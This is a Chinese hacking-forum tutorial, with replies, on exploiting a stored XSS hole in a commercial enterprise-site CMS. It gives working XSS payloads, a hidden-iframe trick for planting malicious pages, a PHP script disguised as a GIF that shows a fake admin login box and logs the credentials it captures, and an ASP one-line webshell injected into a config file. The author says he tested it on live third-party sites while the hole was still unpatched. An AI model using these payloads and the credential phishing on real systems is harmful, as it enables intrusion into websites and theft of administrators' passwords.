[原创]冠龙科技企业网站系统XSS漏洞利用全过程
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])文章作者:小志&伤心的鱼[SST]
正文:
这几天实在是无聊,没事可做,准备从网上Down份企业网站的整站程序瞧瞧,百度一搜还真发现不少企业整站程序, 随便下了一个冠龙科技企业网站系统测试版,这套程序官方卖的正式版要2000多块呢。 也有很多大型企业站点都用这套程序,不过大多都是用的测试版+官方的补丁。这次准备好好的看看,搞不好一不小心看出个0day就……嘿嘿。
看这种整站程序第一选择就是injection,结果看了几天,注射漏洞倒没发现,只发现了个XSS漏洞,没办法。这套程序的防注射代码太牛X 连cookie注射都不可以 (后来才知道两个星期以前刚有人发现注射漏洞,官方重新写了程序)。当然可能有些朋友不太看好XSS漏洞,其实XSS在国外已经玩的很火了 。所谓千里之堤,溃于蚁穴!稍有些变量没过滤,就可能成为黑客的突破口!那什么是XSS呢!XSS又叫CSS(Cross Site Script),即跨站脚本攻击。它指的是恶意攻击者往WEB页面里插入恶意html代码,当用户浏览该页的时候,嵌在里面的html代码会被执行,从而达到攻击者的特殊目的。XSS属于被动式攻击,加之不好利用,所以许多人容易忽略了它的危害性。
首先我们来看程序代码,漏洞出在feedbacksave.asp这个文件,代码如下,如图1。
图1
[attach]10698[/attach]
从这段代码可以知道,程序的作者只是用自定义的一个函数htmlencode2来过滤content中出现的一些特殊字符,而其它只是用trim过滤空格。显然XSS漏洞就这样产生了!知道了漏洞,那就行动吧,、本地架设好以后就开始啦 。测试版有很多限制,但是后来我在官方测试的时候但XSS漏洞依然是存在的!为了方便 首先我们注册一个新用户,选择留言版块,如图2。点我要留言,就可以进入到留言界面了。
图2
[attach]10699[/attach]
我们直接在主题那里输入跨站代码,这里我用<IMG SRC=”javascript:slert(“小志”);”>,当然用<script>alert("xiaozhi")</script>也是可以的,然后点提交,,如图3。成功弹出如图4。
图3
图4
[attach]10700[/attach]
[attach]10701[/attach]
到了这里可能有些朋友觉得只是弹个窗,没什么了不起的,因而觉得这个没什么利用价值那可就大错特错了。其实我们还是可以利用这个XSS来偷取管理员的cookie,或者挂马!因为这站只是用trim过滤了空格,所以利用起来是非常容易的。刚开始测试挂马的时候,发现作者对主题字符的长度限制了!可能有的人说可以把测试代码写入内容呀,但是那里程序作者用写的自定义函数过滤了,就无法利用了。我想稍懂点HTML,就知道,这是可以突破的,如图5。
图5
[attach]10702[/attach]
字符的最大长度为36,我们可以在本地修改他的最大长度,修改提交地址,然后在本地提交。这样字符长度的限制就可以突破了!因为本地提交的代码很长,我在这里就不全发了,打包放在光盘里了。这里我只截取一部分代码,将地址改成我们的目标站点的就OK了,如图6。
图6
[attach]10703[/attach]
我们在本地修改他的最大长度为200.然后在IE查看源码找到提交地址。在本地修改。修改成功后,在主题那写入测试代码,<iframe src=" [url]http://www.baidu.com[/url]" width="100" height="100" frameborder="0"></iframe> 对于常挂马的朋友来说这句不陌生吧 我们把长度和宽度改为100是为了便于测试,这样才能更好的看到测试效果,挂马的时候,再改为0就行了,如图7。
图7
[attach]10704[/attach]
字符限制解决了吧!本想利用XSS漏洞来偷取管理遇的cookie的,但是我们知道后台是session验证的,就算你偷取到了cookie也没用!如果那后台是cookie验证的话,那偷到密码简直易如反,如图8。
图8
[attach]10705[/attach]
难道这样我们就没其它的利用方法了?其实方法还是有的,我们可以伪造个密码验证框!让管理输入帐号和密码验证,为了不让管理员发现,密码框的代码是利用cookie验证,密码框出现一次后,要想再出现密码框,就要在IE那删除cookie,如图9。
图9
[attach]10706[/attach]
为了不让管理员发现,我们用图片来伪装了。好了,那我们就来看看利用程序吧!代码如下:
★
<?
header("Content-type: image/gif");
$image = imagecreatefromgif('mellow.gif');
if(!$_COOKIE['LOGON'])
{
$login = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
if(strlen($pass) <= 4 || !$login)
{
Header('HTTP/1.1 401 Unauthorized');
Header('WWW-Authenticate: Basic realm="管理员验证 - login"');
}
elseif($login)
{
setcookie('LOGON',md5($pass));
$f = fopen('passwords.txt', 'ab');
fwrite($f, $login." ||| ".$pass."\r\n");
fclose($f);
}
}
imagegif($image);
imagedestroy($image);
?>
★
新建个文档,把代码保存在文件内,后缀名改成图片格式。然后去网上找个小型的图片文件。将这两个图片放在同一个目录下就OK了。★$image = imagecreatefromgif('mellow.gif');★这里就是调用的正常图片文件!然后我们在跨站那里输入<img src="图片地址">,如果成功的话,就会生成个passwords.txt文件,文件内记录着管理员输入的帐号和密码!废话不少说了,现在我们来演示下吧,可能有的人说?管理一般都在后台进行留言管理的。很少跑到前台的,其实后台也要调用那文件。只要管理员进了后台,进行留言管理就能利用的,如图10。
图10
[attach]10707[/attach]
大家不要搞错哦,那代码是PHP的,要在PHP环境下才能正常解析!如果大家没有PHP的空间,去找个支持PHP的Webshell也行。大家看到没,出现了登陆框,不精明的网管会以为是程序的验证。那么,他就会输入帐号和密码再次进行验证。刷新下,密码框就不会出现。除非你删除你机子上的cookie才行。这样迷域性更大了,如图11。
图11
[attach]10708[/attach]
成功后密码会记录在passwords.txt里。其实那段程序不仅仅利用在跨站,就算没有跨站也是可以利用的。只要能插入图片就行。下面我用我BLOG演示下,后面的就靠大家发辉了,在我BLOG留言管理那里,如图12、图13。
图12
图13
[attach]10709[/attach]
[attach]10710[/attach]
[attach]10716[/attach]
如果你人品够好成功拿到管理员的帐号和密码的话,那么后面的事就是拿Webshell了。这个后台能拿Webshell的方法很多,我简单介绍一个最简单的:进入后台以后,我们在在系统管理配置文件那写入一句话:"%><%eval(request("xiaozhi"))%><%',如图14。然后保存,写入成功后,我们用一句话木马连接inc目录下的config.asp文件,如图15、图16。
图14
图15
图16
[attach]10711[/attach]
[attach]10712[/attach]
[attach]10713[/attach]
看到没,OK了吧! 然后我们利用一句话传个大马上去就好了。其实我们也可以另一个方法拿Webshell,那就是利用备份数据库来拿Webshell的,但是有些站改了源码了。只能备份成mdb格式的文件,那我们只有选择一句话了。另外后台使用了ewebeditor在线文本编辑器,我们利用他一样可以拿到Webshell。这里我就不做介绍了。下面我们来看一下备份数据库的代码,如图17。
图17
[attach]10714[/attach]
看到了吧,只能备份成mdb格式的文件。本地测试OK了以后,我就直接到官方站点进行测试。效果也是一样的,这里我就不写过程了。所有的过程跟上面是一样的,后来我又随便找了几个站进行测试。发现都存在这个漏洞。因为好多企业站点都用的这套系统,所以称之为企业杀手也不为过!利用过程就看大家怎样去发辉了。现在大家都知道怎样去利用XSS漏洞,那也应该要学习学习怎样去修补漏洞!有攻就有防嘛,呵呵!这里我简单说一下修补漏洞利用replace()函数就可以了。可能有些初学者不太了解replace()函数怎样去利用。例如这段程序,未修补的代码:
★rs("title")=trim(request.form("title"))★
修补后的代码:
★Rs("title")=replace(trim(request.from("title")"<","//"))★
如果从客户端获取的title变量出现<就自动替换为//。那么测试语句就无法闭合了!当然还是可以转换为其它语句进行突破的,这只是演示怎样用replace函数简单的去过滤一些语句!我想,到这里大家也应该怎样去修补漏洞了吧!
最后我在说一下关于XSS的一点东西,可能有些朋友看完这篇文章以后会认为所有的跨站都是可以这么利用的。其实不然,有些跨站就真的只是能弹个窗口,但是他并不写入数据库。这样是没有任何意义的,我们来拿百度做实验,打开百度以后选择MP3然后点击音乐掌门人在搜索框内输入★<script>alert("fish")</script>★,成功弹出fish的框框,如图18。
图18
[attach]10715[/attach]
虽然成功的弹出了对话框,但是这个并不能算是真正意义上的跨站,因为他并没有写入数据库,除了能糊弄一些不懂的人之外,当初偶就被人糊弄某人说他入侵了sohu....并没有任何的利用价值。另外截止发稿的时候官方并没有修补该漏洞,后来我又在官方留言那里提醒了一次,好象管理员并没有注意,我们研究漏洞只限于利用方法希望各位别拿来做坏事。好了,文章到此也就结束了。其实国内现在对XSS并不是非常重视,但是在国外已经非常的流行了,我们的入侵思路并不之限制于上传、注射、旁注、ARP等等。其实通过钓鱼、社会工程学、XSS都是在入侵中扮演着非常重要的角色的,只要大家善于利用,没有搞不定的站。就像网络并没有绝对的安全,最简单的方法往往是最实用的!
本地提交代码:
[attach]10717[/attach] 难到这就是沙发 额,请问楼主,让如果保存的PHP代码的后缀名如果是jpg的话,是不是要在APACH handler里面加上JPG为X-HTTPD-PHP呢。。?还是直接就可以用? 额,测试了下,~登陆框上面的IP或者域名会显示出我们的登录框是有问题的。
而且在IE7中,在登陆框中有比较详细的安全提示~~估计比较难上当~~
[s:289]
呵呵。~~ 目前俺想出的也就是这么个办法 确实对于有经验的管理员来说很难上当。我只不过想说这个方法
跨站还有很多可以利用滴地方 呵呵。还有一种不需要用图片后缀名的方式~~如果文中提到的那段PHP代码~直接保存为1.php
在填图片地址的时候 填1.php#.jpg这样的。。~~ 楼主请全盘搜索你的硬盘 wsock32.dll 这个文件(包括隐藏的系统文件)
估计能搜出大把吧。。。还有wsock32.dlltmp
玩黑之前先把自己的安全做好。。。 [s:266] 偶的机器除了病毒就是木马了。。习惯鸟 反正又木有好东东 [s:269] 谢谢楼上提醒 可你总得要把动画里的病毒清理干净再传上来吧。? [s:265] 不好意思不好意思...动画是小志做的 偶忘记鸟 偶把动画删了。。文章已经很清楚了 谢谢提醒...确实没注意 不是成心的 [s:266]
页:
[1]